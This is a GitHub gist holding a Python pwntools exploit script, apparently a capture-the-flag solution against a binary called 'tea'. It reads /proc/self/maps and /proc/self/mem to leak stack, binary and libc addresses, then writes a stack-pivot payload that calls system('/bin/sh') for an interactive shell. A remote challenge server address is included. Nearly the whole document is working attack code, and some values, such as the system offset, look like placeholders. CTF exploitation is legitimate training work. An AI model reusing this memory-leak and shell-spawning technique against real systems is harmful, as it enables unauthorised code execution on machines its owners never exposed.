Skip to content

Instantly share code, notes, and snippets.

@vesim987
Created December 29, 2016 20:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vesim987/e25737694d8267003bde95266d7db51c to your computer and use it in GitHub Desktop.
Save vesim987/e25737694d8267003bde95266d7db51c to your computer and use it in GitHub Desktop.
#!/usr/bin/python
'''
~Gros&Vesim
'''
from pwn import *
import re
#context.log_level = 'debug'
BINARY_LOCATION = './tea'
LIBC_LOCATION = './'
REMOTE = 0
DEBUG = 0
BINARY = True
LIBC = False
if BINARY:
e = ELF(BINARY_LOCATION)
context.arch = e.arch
if REMOTE:
s = remote('104.155.105.0', 14000)
if LIBC:
libc = ELF(LIBC_LOCATION)
else:
if LIBC:
if context.arch == 'amd64':
libc = ELF('/usr/lib64/libc-2.22.so')
else:
libc = ELF('/lib/libc.so.6')
s = process(BINARY_LOCATION)
#if DEBUG:
def get_old_stack_address():
s.readuntil("(r)ead or (w)rite access?")
s.sendline("r")
s.readuntil("filename?")
s.sendline("/proc/self/maps")
s.readuntil("lseek?")
s.sendline("0")
s.readuntil("count?")
s.sendline("4096")
s.recvuntil("bytes")
buf = s.recv(4096)
s.sendline("n")
stack = [k for k in buf.splitlines() if '[stack]' in k][0]
addr_range = stack.split(' ')[0].split('-')
return (int(addr_range[0], 16), int(addr_range[1], 16))
def get_bin_address():
s.readuntil("(r)ead or (w)rite access?")
s.sendline("r")
s.readuntil("filename?")
s.sendline("/proc/self/maps")
s.readuntil("lseek?")
s.sendline("0")
s.readuntil("count?")
s.sendline("4096")
s.recvuntil("bytes")
buf = s.recv(4096)
s.sendline("n")
stack = [k for k in buf.splitlines() if '/tea' in k][0]
#stack = [k for k in buf.splitlines() if '/home/user/chal' in k][0]
addr_range = stack.split(' ')[0].split('-')
return (int(addr_range[0], 16), int(addr_range[1], 16))
def get_libc_address():
s.readuntil("(r)ead or (w)rite access?")
s.sendline("r")
s.readuntil("filename?")
s.sendline("/proc/self/maps")
s.readuntil("lseek?")
s.sendline("0")
s.readuntil("count?")
s.sendline("4096")
s.recvuntil("bytes")
buf = s.recv(4096)
s.sendline("n")
stack = [k for k in buf.splitlines() if 'libc' in k][0]
#stack = [k for k in buf.splitlines() if '/lib64/libc-2.23.so' in k][0]
addr_range = stack.split(' ')[0].split('-')
return (int(addr_range[0], 16), int(addr_range[1], 16))
def get_new_stack_address():
s.readuntil("(r)ead or (w)rite access?")
s.sendline("r")
s.readuntil("filename?")
s.sendline("/proc/self/maps")
s.readuntil("lseek?")
s.sendline("0")
s.readuntil("count?")
s.sendline("4096")
s.recvuntil("bytes")
buf = s.recv(4096)
s.sendline("n")
for line in buf.splitlines():
if len(line) < 30:
continue
addr_range = line.split(' ')[0].split('-')
addr_range = (int(addr_range[0], 16), int(addr_range[1], 16))
if (addr_range[1] - addr_range[0]) == 0x100000000000:
return addr_range
exit(1)
return (int(addr_range[0], 16), int(addr_range[1], 16))
def memleak(begin=0x0, end=0xFF):
size = end-begin
log.info("memleak(" + hex(begin) + ", " + hex(end) + ")")
s.sendline("r")
s.readuntil("filename?")
s.sendline("/proc/self/mem")
s.readuntil("lseek?")
s.sendline(str(begin))
s.readuntil("count?")
s.sendline(str(end-begin)+"AAAAAAA")
sleep(0.5)
s.recvuntil("bytes")
buf = ''
first = 1
while len(buf) < size - 2048:
buf += s.recv(size-len(buf))
if first:
s.sendline("n")
first = 0
#print str(len(buf)) + "/" + str(size)
if first == 1:
s.sendline("n")
return buf
old_stack_range = get_old_stack_address()
new_stack_range = get_new_stack_address()
bin_addr = get_bin_address()[0]
libc_addr = get_libc_address()[0]
log.info("old_stack_start: " + hex(old_stack_range[0]))
log.info("old_stack_end: " + hex(old_stack_range[1]))
log.info("new_stack_start: " + hex(new_stack_range[0]))
log.info("new_stack_end: " + hex(new_stack_range[1]))
log.info("bin_addr: " + hex(bin_addr))
log.info("libc_addr: " + hex(libc_addr))
old_stack = memleak(old_stack_range[1] - 0xFFFF, old_stack_range[1])
offset = 0
for offset in xrange((old_stack_range[1] - old_stack_range[0]) - 8):
address = u64(old_stack[offset:offset+8])
if address == new_stack_range[0]:
break
new_stack_offset = u64(old_stack[offset-32:offset-32+8])
log.info("new_stack_offset: " + hex(new_stack_offset))
new_stack_start = new_stack_range[0] + new_stack_offset
log.info("new_stack_start: " + hex(new_stack_start))
stack = memleak(new_stack_start - 0xFFF, new_stack_start)
#print hexdump(stack)
buffer_address = stack.index("AAAAAAA") - 4 + new_stack_start - 0xFFF
log.info("buffer_address: " + hex(buffer_address))
read_return_offset = -0x18
read_return_address = buffer_address + read_return_offset
log.info("read_return_address: " + hex(read_return_address))
s.sendline("r")
s.readuntil("filename?")
context.terminal = ['konsole', '-e']
breakpoints = ["*0x555555555f3e"]
gdb.attach(s.proc.pid+1 , exe=BINARY_LOCATION, execute='\n'.join(['b '+x for x in breakpoints]))
s.sendline("/proc/self/mem")
s.readuntil("lseek?")
s.sendline("0")
s.readuntil("count?")
s.sendline("30"+
"A"*(0x30-2)+ #padding
p64(0)+ #fd
p64(read_return_address-1)+
"/bin/sh")
pivot = bin_addr + 0x00000000000024a3
bin_sh = buffer_address + 0x30 + 0x8*2 - 1
system = libc_addr + 0xFFF
s.sendline(p64(pivot)+
p64(bin_sh)+
p64(system)+
p64(system))
s.recvuntil("bytes")
print s.recv(1024)
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment